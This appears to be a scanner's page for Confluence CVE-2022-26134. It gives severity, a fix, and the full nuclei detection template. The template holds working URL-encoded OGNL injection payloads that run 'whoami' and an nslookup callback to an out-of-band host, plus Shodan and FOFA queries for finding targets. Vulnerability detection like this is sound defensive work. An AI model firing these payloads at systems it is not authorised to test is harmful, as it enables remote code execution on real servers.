Confluence - Remote Code Execution

Exploited in the wild. Listed by CISA on 2022-06-02; known to be used by ransomware.

criticalseverity

9.8CVSS score

100%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Confluence Server and Data Center is susceptible to an unauthenticated remote code execution vulnerability.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.

Fix

Apply the latest security patches or updates provided by Atlassian to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22whoami%22%29.getInputStre… ; GET {{BaseURL}}/%24%7B%40java.lang.Runtime%40getRuntime%28%29.exec%28%22nslookup%20{{interactsh-url}}%22%29%7D/
Positive when: contains(to_lower(header_1), "x-cmd-response:") OR contains(interactsh_protocol, "dns") and contains(to_lower(response_2), "confluence")

Run it with nuclei: nuclei -id CVE-2022-26134 -u <target>

The full check

id: CVE-2022-26134

info:
  name: Confluence - Remote Code Execution
  author: pdteam,jbertman
  severity: critical
  description: |
    Confluence Server and Data Center is susceptible to an unauthenticated remote code execution vulnerability.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: |
    Apply the latest security patches or updates provided by Atlassian to mitigate this vulnerability.
  reference:
    - https://attackerkb.com/topics/BH1D56ZEhs/cve-2022-26134/rapid7-analysis
    - https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html
    - https://www.rapid7.com/blog/post/2022/06/02/active-exploitation-of-confluence-cve-2022-26134/
    - https://jira.atlassian.com/browse/CONFSERVER-79016
    - http://packetstormsecurity.com/files/167431/Through-The-Wire-CVE-2022-26134-Confluence-Proof-Of-Concept.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-26134
    cwe-id: CWE-917
    epss-score: 0.99999
    epss-percentile: 0.99994
    cpe: cpe:2.3:a:atlassian:confluence_data_center:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: atlassian
    product: confluence_data_center
    shodan-query:
      - http.component:"Atlassian Confluence"
      - http.component:"atlassian confluence"
    fofa-query: app="atlassian-confluence"
  tags: cve,cve2022,packetstorm,confluence,rce,ognl,oast,kev,atlassian,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/"
      - "{{BaseURL}}/%24%7B%40java.lang.Runtime%40getRuntime%28%29.exec%28%22nslookup%20{{interactsh-url}}%22%29%7D/"

    stop-at-first-match: true

    matchers-condition: or
    matchers:
      - type: dsl
        dsl:
          - 'contains(to_lower(header_1), "x-cmd-response:")'

      - type: dsl
        dsl:
          - 'contains(interactsh_protocol, "dns")'
          - 'contains(to_lower(response_2), "confluence")'
        condition: and

    extractors:
      - type: kval
        kval:
          - "x_cmd_response"
        part: header

References

Use this check only on systems you are authorised to test. Where the data comes from